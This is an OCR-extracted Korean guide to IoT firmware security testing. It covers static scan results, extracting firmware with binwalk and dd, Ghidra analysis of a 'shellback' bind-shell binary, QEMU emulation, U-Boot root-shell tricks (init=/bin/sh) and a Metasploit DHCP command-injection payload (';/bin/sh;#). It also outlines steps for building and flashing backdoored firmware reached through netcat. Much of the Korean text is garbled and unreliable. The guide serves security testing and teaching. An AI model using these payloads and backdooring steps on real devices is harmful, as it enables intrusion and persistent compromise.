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Iteet 89 2E A& QHEHAOSINT =7 R 7|Es AHESHO HO|HE sHeL o

QLEAA ATEQINE ARSI 42 2|EXEZE LCRELESHD IZE 7|Ht0of| CHSH al
AHE HE BAMZ DE SHSHCH MR QF AA ATEQ0 ZEMEL Coverity Scan ¥
Semmle’s 2| LGTM 1t &2 AZHANE HSst= SSLMOM HM3ste F2 8 24 £7E
ojg] At&stn UA&LICh oE 0] otz 222 Das U-Boot 2| Coverity Scan ZA1to| AL|HS

2o Euct

Coverity Scan: Das U-Boot

Project Name Das U-Boot
Lines of code analyzed 321,321
On Coverity Scan since May 17, 2014

Last build analyzed 13 days ago

Language C/C++

Repository URL git://git.denx.de/u-boot.git

Homepage URL http://iwww.denx.de/wiki/U-Boot/WebHome
License GPL (GNU General Public License version )

Want to view defects or help fix defects?

© Add me to project

Analysis Metrics
Version: v2019.10-rc4

Sep 23, 2019 321,321 0.61

Last Analyzed Lines of Code Analyzed Defect Density

Defect changes since previous build dated Aug 27, 2019
2 3

Newly detected Eliminated

Defects by status for current build

915 195

Total defects Outstanding

13 1: U-Boot Coverity Scan
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Component Name
Host tools
Test code

Sandbox architecture and board

ID CWE-Name

Filesystems . I

Networkingl I

) Sandbox architecture and | |

omponent

Analysis Metrics per Components

Pattern
tools/.*
Fltest/.*

*/(arch/sandbox|board/sandbox)/.*

Commands lemd/*
Partition table handling Jldisk/*
Environment Flenv/*
Networking ZInet/*
Filesystems sl
DTC *l(scripts/dtc|lib/libfdt)/.*
Other ¥
CWE Top 25 defects

190 Integer Overflow or Wraparound

676 Use of Potentially Dangerous Function

Outstanding Defect per Component

Commands - -
Test code .

Ignore
No
No
No
No
No
No
No
No
No

No

120 Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow')

Line of Code Defect density

16,236 3.39
8,689 0.23
2,916 3.09

23,893 1.00
2,532 0.00
1,131 0.00
7,388 0.41
9,610 0.73
9,959 1.31

239,711 0.34

Number of Defects

2

5

Il High
Medium

B Low

13 2: U-Boot Coverity Scan Analysis
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o2& LGTM o] BEMOfA 2 Dropbear A1t A2l AFQL|CEH

mkj/dropbear

Query this project ¥
C/C++ | Python | | Code quality

Alerts (20

Compare Integr Queries

Semmle is joining GitHub

Active alerts sfizafp

Alert filters

No filter selected Export alerts 4

Severity Query Tag Language O Group by query

Displaying 20 alerts, ordered by significance.

9 Warnings

11 Recommendations

Use of potentially dangerous function

reliability H security ” external/cwe/cwe-676

ource root/svr-session.c

struct tm * local_tm = NULL;
timesec = time(NULL);
local_tm = localtime(&timesec);

Call to localtime is potentially dangerous
if (local tm == NULL

|| strftime(datestr, sizeof(datestr), "%b %d %H:%M:%S",

1% 3:LGTM Dropbear Alerts
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Potentially overflowing call to snprintf reliability | [ correctness | [ security |

Source root/cli-runopts.c

i 1-563
564 sign_key * key = (sign_key*)iter->item;
565 const size_t size = len - total;
566 int written = snprintf(ret+total, size, "-i %s ", key->filename);
The size argument of this snprintf call is derived from its return value, which may exceed the size of the buffer and overflow.
567 dropbear_assert((unsigned int)written < size);
568 total += written;
1 569-919
Variable defined multiple times maintainability | [ useless-cade | [ external/cwe/owe-563

Source root/libtomcrypt/demos/demo_dynamic.py

1 1-111
112 # get size to allocate for constants output list

113 str_len = c_int(®)

114 ret = LTC.crypt_list all constants(None, byref(str_len))

This assignment to 'ret’ is unnecessary as it is redefined here before this value is used.

print(’ need to allocate %d bytes to build list \n' % str_len.value)

117-117

separated by a newline char
names_sizes = c_buffer(str_len.value)
ret = LTC.crypt_list_all constants(names_sizes, byref(str_len))

This assignment to 'ret’ is unnecessary as it is redefined here before this value is used.

121 print(names_sizes.value.decode("utf-8"))
122 print(’ ')
!
123-128
t

get size to allocate for sizes output list
str_len = c_int(@)
ret = LTC.crypt_list_all sizes(None, byref(str_len))

1% 4:LGTM Dropbear Results
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oM ZIY Ee ZS HAE #e A8 AE
Yolx YUES BE QHGHAL.
i Ne) =]
Heof &4

Bolo OIS @2 ol mAS SHE QI
ohe SIS AFSstol Eelol Y |y, BN 2
HIPUE SUZ0| Ch3t 7t Oj5iS PO HAIR

CtZ2F 20| binutils

E|Ci=tst7|

9lsf ol

18 ClH 2Eet

Halo

file <bin>
strings
strings -n5 <bin>
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head (SICOAM MBS XS = US)
flol W F ol A FE% HOIHE MSSHA| Gi= 8% g 4"0| 7tegHtt
e HiO|H2|&= BareMetal & = UAFLILCE
o HO|HZ|l= & MY ALHES dFE LAY 2IHHM(RTOS) EAZFEL += UGS
e HO|HZ| ¢33} 7ts
HolHz2[7F Y=st E + Us 8% = B A Binwalk & AESHO AE=RIE
OIBLMA| Q.
|$ binwalk -E <bin>
H2 dEZL = A2stE Jtsd S
£2 JERT| - 4T3} (E£ O AORE °H)Y Jhs40| AUsLch
Binvis 22t21 X =8 Hddd 38 Z2IUS A8 TN =72 A8 = UASFLICHL
® Binvis
B https://code.google.com/archive/p/binvis/
B https://binvis.io/#/
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https://code.google.com/archive/p/binvis/
https://binvis.io/#/

H
noe
>
| >
0=

o o
T=

of EHAOM= EHAUON LEE 2HED 2H I A2 HOoHE #&8 4010 7tse B2
YA 2o E2ME MEoH7| AL OE AN MEE= HIE X 2 2= 8
A #EE HESH| /8 o HAE ARESHH "o EHZEE FEUM A5 2 +5

Of 25 of2fof Liet ASLIC.

Mm

i
rE 0

1. Chg =7 WS AE8SHY I AA" LES == LI

$ binwalk -ev <bin>

oAo| =& EZ|H “_binaryname/filesystemtype/etc/ &AS 2 EA| EL|CE

oY AAEN EFR: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs

2-1. M2 binwalk 2f ME0]| ot A|AEOf Of] HO[EZL QgL Tt

O[{et d% binwalk & AME5I0] MY A|AEO] 2uMS R HO|H2|0M FFE ot
MBS EF5tE ot BHAE MEstH wEof Mt Tt A|l2EE =522 FEYLCH

$ binwalk DIR850L REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION

0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""

10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608
bytes, uncompressed size: 5213748 bytes

1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256
bytes; big endian size: 8257536 bytes

1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0,
compression:1lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes,
created: 2016-07-12 02:28:41

2-2.  Squashfs ItY A|ABElZS FEFSH= O3 dd ES AL CH

$ dd if=DIR850L REVB.bin bs=1 skip=1704084 of=dir.squashfs
825753640 records 1in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s

L CFS Mg MBS &0 QI&L|C}

| $ dd if=DIR850L REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs |

H|O|X] 13 / 40



2-3.  Squashfs 2| B2 (72| GIAIOIM AHEE)

|$ unsquashfs dir.squashfs
oA LSO “squashfs-root” CIHEZ|0f QUELICH

2-4.  CPIO Ot7to|E m¢

|$ cpio -ivd --no-absolute-filenames -F <bin>

2-5. Uffs2 Ot A|ARIOl HLR

|$ jefferson rootfsfile.jffs2

2-6. NAND Z{A|7t /U= ubifs T A|AEQ] H2

$ ubireader extract images -u UBI -s <start offset> <bin>
$ ubidump.py <bin>

H|O|X] 14 / 40
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Firmwalker

~/tools/firmwalker C|HEZ| LHO|AM firmwalker & AH&SILT firmwalker 7 =& IHY A|AHIQ|
2E CAHEZo HO| HZE 7t2|7|=2 THL L} Firmwalker |3 “/data/"

ClMER|o] HEE AMEgLCH Aaron Guzman O] #Est %EH Z3IE=  Github

1
Ao
A
1x
=
1
o
—Ho

(https://github.com/scriptingxss/firmwalken Ol A =7} Q1S &#&2 = UAESLICH

CtS Ol AF28E 20 ELICH OWASP 9| loTGoat Ol Al A2 &= firmwalker & L|CF.
Fokoh HAUO ZENE= EA 20 A= FsH HAON MM LIEE0 ASLICH

$ ./firmwalker.sh /home/embedos/firmware/ IoTGoat-openwrt-x86-
genericcombined-squashfs.img.extracted/squashfs-root/

of2fo| firmwalker 28 EXSIAMAIR.

***Firmware Directory***

/home fembedos /firmware/_IoTGoat-openwrt-x86-generic-combined-squashfs.img.extracted/squashfs-root/
***Search for password files***

RERBHHARHARHAUREARAVEAMRAARARRARERORE passwd

/bin/passwd

Jetc/passwd
shadow

Jetc/shadow
# * . psk

***Search for Unix-MDS hashes***

/home fembedos /firmware/_IoTGoat-openwrt-x86-generic-combined-squashfs.img.extracted/squashfs-root/etc/shadow:$1$317H1VOGSHgW2F /C.nLNT(
/home fembedos /firmware/_IoTGoat-openwrt-x86-generic-combined-squashfs.img.extracted/squashfs-root/etc/shadow:$1579bz0K8z5I16Q/1f83F1Qg
/home fembedos /firmware/_IoTGoat-openwrt-x86-generic-combined-squashfs.img.extracted/squashfs-root/etc/shadow.bak:$15KzoHhzG9SwGyFXbWo(
Binary file /home/embedos/firmware/_IoTGoat-openwrt-x86-generic-combined-squashfs.img.extracted/squashfs-root/lib/1libc.so matches

**¥search for SSL related files***

BHUBHHBRRBUEBREARRARR AU RAVEABEHBREUEE ¥ pTD

***Search for SSH related files***

authorized_keys

BRERHARRRERAT *authorized_keys*
host_key
*host_key*
Jetc/dropbear /dropbear_rsa_host_key
id_rsa
*1d_rsa*

= i MY firmwalkertxt X firmwalkerappsectxt 7 - ELICt O|2{g £ NIY2 522
7

dEoof gLt
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https://github.com/scriptingxss/firmwalker

Firmware Analysis Comparison Toolkit (FACT)

Crls| Ao 24 Hn =7 7|E (FACT)2F 27 o 2E 22 X353 HYo =24 =45
f S

Moste MEioz A8E = AFULCL FACT Ol Ch2at 28 7|80 Ues ™ A
A

o 2IANH, CPU & 2ZEQQ T AE O7|EXN U 2H HH FEE A EtA
T4 ax
e O[OX|OfA HYOl MY A[AH F=

o OFM Sl Jjel 7| X

o

k

o

L3

ret
5

® Common Weakness Enumeration (CWE)0|| O Z&|= F

d
r

T

|Ot
2

oz

oy |

°
H
n
#a

M

ol
N

kS

o T

°
N
e

>
02
oln
i

1z

o HO B Sl mY H|L(diff)
e QEMU E AtE3%H mtd A|AE HiO|LH2|o| AFEXH RE O =g 0|

® NX, DEP ASLR, AEH F}LIZ|OF RELRO S FORTIFY _SOURCE 2F Z2 Hto|L4E2| &tst ZX|
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e 2|1 O..
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$ cd ~/tools/FACT core/
$ sudo ./start all installed fact components

http://127.0.0.1:5000 22 0|5 %L|Ct,

€ROT Firmware Analysis and Comparison Tool R EEIEEN & Database~ @®uUpload  JiStatistic ¥ System @ About

General Facts Latest Submissions
firmware samples 1 Showing 1 out of 1 firmwares in the database
Submission Firmware
firmware total size 116.50 MiB %
Time
= firmware average size 116.50 MiB
y 2 2019-09-09 OWASP loTGoat - 0.0.1 (1oT) | genericFs ]
% B ol unique included files 232 19:49:54 6044bc9a685ef900b21b4b3c8d99960abddd15ca3c6e?57754bbabe264850e97 122159104
unique included files total size 1.01 MiB —
unique included files average size 4.44 KB
statistic generation time 0.01s

powered by FACT 3.0
© Fraunhofer FKIE 2015-2019

1% 5: FACT Dashboard

242 ofs BRIl T4 RAS FACTO YRS BLCL Of2f 232 XojA TE Ity AlAHT
S YZE MA HIOI7 YRE = 2AEUC
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http://127.0.0.1:5000/

A Home

T Firmware Analysis and Comparison Tool

Upload Firmware

File:

Device Class:

Vendor:

Device Name:

Device Part:

Version:

Release Date:

Tags:

Analysis Preset:

Epaabase -

® upload

Browse. No file selected.

new entry

(% base64 decoder
% binwalk

(% cpu architecture
% crypto material
(% cwe checker

% elf analysis

13 6: FACT Upload

FACT of AMSE 3StE/O 2|20 o2k 24 Zibs FOT Az A7 Zaker i
LIEHEfLICE O] Z2MAE xaote| 2laidt dEE 49 R AIZ0] 28 £+ USLICH o2y

82 loTGoat Off CHsH AZH Z1tol of Lt
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Firmware Analy

Analysis for OWASP loTGoat v. 0.0.1

uID: O
Warning! » e - -
General Analysis Results
device name toTGaat cpu architecture
vendor owasp crypto material
device class ot ‘expioat mitigations.
version 001 file hashes
release date unknown e type

tile name 10TGaat-opermiT1-xBE-generic-combined-squashis.img knowm v

virtual path * OWASP 10TGaat - 0.0.1 (1oT) software components
unpacker

fie sze 116,50 MiB (122,159,104 bytes)

users and passwords
fie type DOS boot sector

© Run ackiionsl anslysis

‘Showing Analysis: exploit mitigations.

Analysis was skipped blackisted file type
Time of Analysis 20190809 19:50:24
Plugin Version 012

‘Summary Including Results of included Files
fem count o

Canary disabled

FORTIFY_SOURCE disabled

FROT Fimware

Time of Analysis 20190909 19:50:24.

Phugin version 012

‘Summary including Results of included Files
flem count °

Canary disabled

FORTIFY_SOURCE disabled

NX enabled

PIE - invalid ELF file

PIE disabled

PIE/DSO present

RELRO disabled

e _

Comments

user options: | @show header nhex  .view inradare | S.downioad raw fle | @5 downioad included files as targz admin options:  Cre-do analysss [ detete frmware

G update anslysis | QUVARA search || bdownioad report as PDF

13 8: FACT loTGoat Exploit Mitigation Results
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i = B inja & Al&3tq | A iot OOl &
IDA Pro, Ghidra, Hopper, Capstone L= Binary Ninja & A|&79 FACT Of X ot HOIHZE
OlAIA .|O HA}- I- | 1 |E |AO-|A‘||_':"6'|- | |- Xt HI‘lO o| 74 C AlSH IAE-II == O |.0=|
o|dAg{® Cfa HIO|HE[E Cl& EIEI:!LI:-I:IX—|I_| El—l it EO,A—I:I F, L'XE/
o o o o = o
ot =5, HZ22l &4 F4Eo s HolHz2[E =45t L= FARRH 2 ol
S 25, HZ2 & FAH0 tHs BiO|HZ|E 2M45H0] system() L= FAISH &+ 2=
S H XX 2 AIHSH | |- St C 7:”0-” |-_9_'c'>'|- N Hx—lo *lOI:K'lO” OOl'“'.AI |
EHOI_I' I‘l‘ I:I—'—(Xrefs)E MESIL|CE &% |_|- AOE S —||_| T T=I°r 2.
L H = o) ANHAME " " |. | ﬁ | = O;I Z= | I-
Ot2i= Ghidra & At&35t0] CIAOMEEl “shellback” HO|HEZ|E EO{FL|C}
v e CodeBrowser(2): loTGoat:/shellback
File Edit Analysis Search Select Tools Window Help
H e = BRED JIDULFRVYB: @@ oo JEI@DCG..0B6 5 ©
[ ees A ™ X Listing: L el By @ - X
mamﬁees B> X Eﬁiﬂ shellback RF F% @ G —‘ % D@~ x
v (¥ shellback 1
T T | F——
[E) segment_2
() EXTERNAL
param_
undefined AL:1 <RETURN>
undef ined1 Stack[ex4]:1 param_1 XREF[1]: @8
undef inedd Stack[0x0]:4 local_res0 XREF[1]: 08 char Fog
undefinedl Stack[-0x30] :1 local_3@ XREF[1]: 08 socklen_t 05
undef ined4 Stack[-0x3c] :4 local_3c XREF[1] : 08 char *local_4c [3];
Program Tree x| undef ined2 Stack[-0x3e] :2 local_3e XREF (1] : 08 sa_family_t local
undef ined2 Stack[-0x40] :2 local_40 XREF[2]: 08 = =
QlisTree o > X o8l 5| Undefineds 1
> Ca Imports undef ined1 Stack [-0x4c]:1 local_dc XREF (2] : 08 16| sockaddr loca
> [ Exports 8, 17 | undefined *pus
» [ Functions undefined4 Stack [-0x50] : 4 local_50 XREF [2] : gg 18
> P Labels undefinedd Stack [-0x60] :4 local_60 XREF[1]: 08 5
> O Classes main XREF (3] Entry Point i
» () Namespaces _start_c:08 >
08049fe8(x) 23
08048505 8d 4c 24 04 LEA >paran_1, [ESP + 0xd] bt
08048509 83 e4 f0 AND oxfrffrrfo o5
0804850c ff 71 fc PUSH dword ptr [ECX + local_rese]
7 0804850f 55 PUSH :
Filter: & 08048510 89 €5 MoV P,ESP
08048512 57 PUSH
Data Type Manager ¥ X esMBSli zg :32:
= 0804851, %
ke e IREY, 08048515 51 PUSH socket(2,1,0);
08048516 83 ec 44 suB ESP, 0x44 L 20, (sockaddr *)&local_40,0x10);
08048519 8d 7d bc LEA )T=>local_dc, [EBP + -0xd4] Viste )5
3 Daa Types - 2804851c be 34 87 MOV £ST,PTR_s_/bin/busybox_08048734 td
> & BuilinTypes 08 e
» B Oshellback 08048521 b9 03 00 MoV X, 03 - 0 = 0x10;
> B generic_clib 00 00 38 fd = accept(__fd_00,& 0,& 50);
08048526 3 a5 MOVSD.REP  ES:EDI,ESI=>PTR_s_/bin/busybox_08048734 = |30 o ForKETT
m| |40 if (Lvarl 1= 0) {
08048528 66 7 45 MoV word ptr [E8° + local_40],0x2 =l |, write(. a8 faaniSuccasstiuitly Conrioctod t
8 02 60 =Y [42 while (__fd2 < 3) {
0804852e 68 8b 15 PUSH ox158b =l [ Aozot -
00 00 b
Filter: ) 0RA4R533 Ff 15 f4 CALL dword otr [DAT ARA49Ff4l _ Relocation Table
| &l 0804851c | main | Mov Esi,0x8048734 ]
. .
A3 9 : Shellback Ghidra Analysis
QIH}™H O |- | -| I HMO |-22 wal J‘l.i 7HoO __rI.A'iEI | I-

Bt A A

A8 7hLta|of M3}
B $ readelf -aW bin/*| grep stack_chk_fail

B § mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail

A =8 A o) 83t £ HEgdst
m PIE HEH3}
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€ $ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC
m PEE 243t

€ $ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'
m DSO

€ $ readelf -d <bin> | grep -q 'DEBUG'
B Symbols

€ $ readelf --syms <bin>

¢ $nm <bin>

s
Ol THseh

At

Ho

B el 2 168/ Z0jo| 2|5 AC|et BXHE KFLICH (O UTF-16).
B -eb 8 oAT|QH

B 16 20t 71 ASCll EXtE2 stdout O EA| gL|CH

m -t BP0E OfY YoM BXIEO| QEMS wrEwtLICh

Il

B tx = 16 2= H@AloZ HIst D Tto= 8 XELE2 -td = 10 X2 grststL|Ch,

B 16 TY HUV|Q = HZSHALE TbUAM EXEO| off] A=A L NS O

B strings -n5 <bin>
B strings -el <bin>
B strings -n16 <bin>

B strings -tx <bin>

B $ readelf -IW bin/<bin>| grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
e 't

AEHO| Hl JtseE LIEFELD

= [==]

rir

B $ execstack bin/*

X bin/ash

I{|O|X] 23 / 40



X bin/busybox
MEfX] 27| H-E(RELRO) T8
Full RELRO:
$ readelf -d binary | grep BIND_NOW
Partial RELRO:
$ readelf -d binary | grep GNU_RELRO

flol B2 Ho|HE| £d82 X522 AAStHE A3 E+E checksecsh YLICH

|_|
gjo
|>

lge 2agE

AMEdts + ZHR| o L Ct

i

$ ./checksec --file=/home/embedos/firmware/_loTGoat-openwrt-x86-genericcombined-

squashfs.img.extracted/squashfs-root/bin/busybox

RELRO STACK CANARY NX PIE RPATH
RUNPATH Symbols FORTIFY Fortified Fortifiable FILE

Partial RELRO No canary found NX enabled No PIE No RPATH No
RUNPATH No Symbols No 0 0

/home/embedos/firmware/_loTGoat-openwrt-x86-generic-combinedsquashfs.

img.extracted/squashfs-root/bin/busybox

$ ./checksec --file=/home/embedos/firmware/_loTGoat-openwrt-x86-genericcombined-

squashfs.img.extracted/squashfs-root/usr/bin/shellback

RELRO STACK CANARY NX PIE RPATH
RUNPATH Symbols FORTIFY Fortified Fortifiable FILE

Partial RELRO No canary found NX enabled No PIE No RPATH No
RUNPATH No Symbols No 0 0

/home/embedos/firmware/_loTGoat-openwrt-x86-generic-combinedsquashfs.

img.extracted/squashfs-root/usr/bin/shellback
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Ju)'w/e*vbed »s/tools/checksec.sh [g
./checksec --file= /home/embedos/flrmware/ IoTGoat- openwrt-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No canary found led No PIE N PATH N NPATH N No 0 ] /home /embedos /f
irmware/_IoTGoat-openwrt-x86-generic- comblned squashfs.img. extracted/squashfs root/bln/busybox

/home /embedos /tools/checksec.sh [git::mast
./checksec --file= /home/enbedos/f\rnware/ IoTGoat-openwrt-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No canary found abled No PIE No RPATH No RUNPATH yr No <] 0 /home /embedos /f
irmware/_IoTGoat-openwrt-x86-generic- comb\ned squashfs.img.extracted/squashfs- root/usr/b\n/shellback

10 : Checksec.sh
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A ol=20]-d

o EHA0AM MEE ME ZEeE BME AESHH  HAlolet FHoHE HolHZ|E
o Egjoldsto] HAHE FofgdS =Qlsor LT HRIo oZ2olds st flsi cf3ut
o

2 7R F2 EAol AU

Il

&2 O|E20| - Jusr/bin/shellback It Z2 HUO S FEHE mtY A|AHOA DHYE=
2l A

=]

=
= 2dd HolHzZ| of&2|old

2. M o220l - 7t¢ NVRAM & 283t TH B = AIE g2 o204

ALt of22olM - Mz St=gof = OfF|EX

w
N
=
Yal
Pas
A
rir
N
0z
=]
=
mjo

Sl
Ar
F

rir
r

58 M of=zgo]d0] S| HE & UFLICL OFF| =X et
AC|CtOl 2f=H|Z|Ttolet d2 o7 X2t PX|ot= 42 RE Oig A[AH £&= §F
HIO[HZ|E F7t HAEE flof ZA=2 &Y & ASLICHL o] L2 Hiyur st
Ot7[EN Sl ACIS ALESHY AP #=E 7hy o= HEFLICH

FEH2=2 Ho|H2| o=doldE AXSHTE Chs BAOM HEet QEMU OofZ0]d

HIO|HZ| & ME4SEY] I8 CPU OF7|ElAet AC|QHS 2fotof grLCt.
$ binwalk -Y <bin>

$ readelf -h <bin>

el - little endian

eb - big endian

Binwalk = Ot2ff FHE ArEstol m7|X|E HAO HolHZ|(F=E HAO el Ho[HZ|7t
o A

o
Otehofl Cigh 2lciets AMEst=0H AFEY & UFLICH

—

$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.0v
DECIMAL HEXADECIMAL DESCRIPTION
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CPU Ot7|8Xet QCjoto] MEE = £&2 OofsyoMdEs A7 2sf HESZ QEMU
Ho[H2|E HELICEH (HH HYOE OZ20IE Bt7| I 20| ofL2t FEE BHYZ A=
o[ 2]).

gdetqoz offet ZOl

/usr/local/gemu-arch = /usr/bin/gemu-arch

g QEMU HIOIHZIE FEE FE ot A2"o ZAgUo FHN Y2 2 F=2E
BAISHE zSH 2 Ul =& RE Ite ALH0 Static arm QEMU HIO[HZ|E SAtsts AS
2ol 4

$ cp /usr/local/gemu-arch /extractedrootFS/

/home/embedos/firmware/_DIR850L_REVB_FW207WWbO05_h1ke_betal.decrypted.extracted/squa

shfs-root

$ cp /usr/bin/gemu-arm-static .

ARM HIO[HZ[(E= HETH arch)E 2ot Cfg HEa 27 QEMU A chroot & ARE3H0]

ol 220|E gfLLt.

$ sudo chroot . ./gemu-arch <binarytoemulate>

ChS Ol= x64 OF7[EX L{OjA O 220|EE busybox & 20 Lt

$ sudo chroot . ./gemu-mips-static bin/busybox

[sudo] password for embedos:

BusyBox v1.14.1 (2016-07-12 10:25:48 CST) multi-call binary
Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko

and others. Licensed under GPLv2.
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See source distribution for full notice.

Usage: busybox [function] [arguments]...
or: function [arguments]...
BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox

will act like whatever it was invoked as!

Currently defined functions:
[, [ addgroup, adduser, arp, arping, basename, bunzip2, bzcat,

bzip2, cat, chmod, chpasswd, cp, cryptpw, cut, date, dd, delgroup, deluser,
df, du, echo, egrep, expr, false, fdisk, fgrep, free, grep, gunzip,

gzip, halt, hostname, ifconfig, init, insmod, ip, ipaddr, iplink, iproute,
iprule, iptunnel, kill, killall, killall5, In, Is, Ismod, mkdir,

mknod, mkpasswd, modprobe, mount, msh, mv, netstat, passwd, ping, ping6,
poweroff, ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, sysctl,

tar, test, top, touch, tr, true, tunctl, umount, uname, uptime, vconfig,

vi, we, wget, yes, zcat

CHeb HolHZ|Z7F o 2B0|EE SEHOIM 3T AHIZZIH £ 4 MH[AQF 83 AEY UL
Chg CHAIAM gt thz ofZ2AH oM X HER/R AHTO0|AE HARLCH

=

A of=20]4d

7ts3tH Firmadyne S EHRIO B4 = 7|E (FACT)E AT HAON HA o2 0|82
SAlstL|CH Ol2f{st EF= 7|[2Mo=Z QEMU % NVRAM It &2 7|Et A 7|50 CHst
2 QL Ct.

https://github.com/attify/firmware-analysis-toolkit

https://github.com/firmadyne/firmadyne

Qo] M EZI(FAT)S AMRSIO] Cf

bjo
=]
o
/o
>
o
O
N
r2
Ot
rg

n
I
_|T|_

$ python fat.py <firmware file>
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Ctrl-a + x & A%l ==&

o gelojo =X 2 24F, I AlA"H Ee XYAZX| @ OH7|EAM7E motEl

S o
OlE‘IOI‘ E—_I'L_EE _'_"7(:0H0|: Sk A 9'/\ ||:|_
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o
TAYLICE Of CHAel SEE ZERMEQ FOT HMA =0 02t CE AUE
gyoz Or|oe RERE #d #HE, B A AP H2E, HYUHERZR A ofEZAH 0l
MH|2), 8SE HM2(root) H = ZE HAS 2SOH7| 9ot ChYet = MEE ALES

® Burp Suite
® OWASP ZAP

® Commix

([ ]
m

S 22 MX - American fuzzy loop (AFL)

e C[iZ1 Z2 HESA MX - Mutiny

® Nmap
® Ncrack
® Metasploit

HHICI= & OfEZAH 0l HAE

OWASPS| HIAE ZH0|E Bl OfE2|A 0|4 HQt HE HEFT(ASVS)QL &2 MY =

ERSHMAI 2.

MM
IE
0
Ik
T
mjo

—

HICI= X2 & ofZ2/AHolH Lo HESOF & &8 S92 Chat 254t

o XA FF FY FHHO oigt TE E= X 32 HO[X|
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o O O M3 2ol AAS EYol 29 HA ZE ot ofL|zh MEfA ofZ2|H olM
=]

dhol 24 =Y =AY 30l s ASE LCh

o 7= AEX O|FL HIZHZ I AFEE|EX| HAE

o E HO[X|ojA CIMER] BA S ZHZE HAMS S CHI E£= HAE 7S

® XSS I XXEQF €2 98 f=d ZAAF H AMF FAUHEO Cist SOAP/XML % API

= 7L

® Fuzz OHZZ2(AHO| OiZfeis Sl ofQ Sl A8 =X ZH

o O] & Fofy, g4 EXE Ze 8 T+ QHE2 22 LuHQ C/CH+

[l
'}
)
o
rx
x
o
|
=2
=
ot
=
0z
g
=)
Hu
|n
TR
P

>
o
i
Inl

JOil CHell AHICIE 7 OHE

HZ S ofE2|AHO[M SIEH|o|A0 et HAE AHOo|A7F FEery L T

FE=ZH H2AE

K| A|Z Gl U-bootl} LS HEZMHE 4£ME [ CFSS A|E3IAAIQ.

—

JZ
nE

Ofm
r=

12

o HESE S0t '0r AHO|A EE J|Ef AlME OjE RErE w2 SERG QlEma|E
A

£ AE=gLL.

#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3

#mtdparts=sflash:<partitiioninfo>  rootfstype=<fstype>  hasEeprom=0
int=/bin/sh

#saveenv

#boot

Ssrst=0

o YAAHO|MOIM 2HZ YEYIES 5| O1[XIS 2T JEE tip MHE MFELICH

RO HERZ HM2 2SO0 A=A 2ty AlL.
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#setenv ipaddr 192.168.2.2 (local IP of the device)
#setenv serverip 192.168.2.1 (tftp server IP)

#saveenv

#reset

#ping 192.168.2.1 (check if network access is available)
#tftp ${loadaddr} ulmage-3.6.35

(loadaddr 2 & 7HS| Q=5 ALEYLCH: IHYS ZEY FA0F TFTP A{H{ 2] O|O|X]|

e o|E)
ubootwritepy & AFESI0 uboot-image & Adst +=FE HAYAHE FAIBIH RES
A5 LT

o ARMIst 2d
o A9oIol HYE EE

A O
T HA

r=
hill
mot
rir

SNVEY

AHZ RO ofLfo] 2 HOf UFSID K| Y ABAS O HL0| Y5S

7| "o X = sp Z2iAl Hof Ho|y T (Do)o THE/HZE LILY.

& : U-boot 7k UBI O|OIX[E €= ofMsts =20 stHtel EHe
AZStn YA 2EY =ME XNFHAED FHEO| Y¥xs F71 ™ol FXIE ES NAND
t af

90" f Fo:17do|.A|A|g
o *Eg Tt A|7|7] Hol NAND Z2§A| Eo| HO|f AIES AESIMAIL.

PXE 8 & T Ao it BH2= ofg OjA

rE

TS AHES0 °rd DHCP MH]

~

o Metasploit (MSF)2| DHCP auxiliary Server (EZAMH)E AESID ‘a”";/bin/sh;# 1f 22
Y FY FHOZE FILENAME OiZfH==E 7S TX| A|ZF HXpo CHgt 2
5 £

o
B AERLC
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BYol 22 Hae

FEY E= MY = Zo cist AMEA XE HAO £ FHueE HolHZl YREES
AMEgHE & S0 thg HAE AL83t0l REAl AREE= #Eo HelE A5 FHoY
gLt

1. Firmware-mod-kit (FMK)2 HY0| F=

2. O Helof of7|5N Sl Ql|er 4

s

3. Buildroot 2 AZA HOIYUY = £= 3HF0| Matst .}

i

By ALE
4, A=A AMAYE AESIH BE0] 7= (0 : ./mips-buildroot-linux-uclibc-

gcc backdoor.c -static -o backdoor)

5. == "o Jusr/bin O MEZO{E SAFEL|CE
6. HET QEMU HO[HZ|E FEE HYO rootfs Off ZFApetL|CH

7. chroot 5! QEMU & AESHY #=0f of =20[H

8. netcat = Sl =00 HZ

9. F==l HY O rootfs A QEMU HIO|HZ| XA
10. == HANE FMK E 2|Tf7| 3

11. Firmware analysis toolkit (FAT)Z O Z2{0|M St netcat & AMESHO] Cief MWEO 1P R
ZEO| HASIH W0 HYYol HAE

12. $$$$$5$55$58$9$$

SN 24, RESH IX T SfSY0] HOF HAE A0S So| RE 42 on ¥e FLP
YEBRAEMIYYI) Tt ElMA I Zo| D2 HIUS oY HlojLzE Ayt
A= gLict

T A Hojcal) = Y/AN AMEEl= ASE HOZE =7 AMEE 1ESHUAIRL. O E
=0] Metasploit Z2f| 4932t msfvenom 2 L3

1. CHA mQof of7|Elx] I AC|IQF A& (Of: armle EE+= armeb)
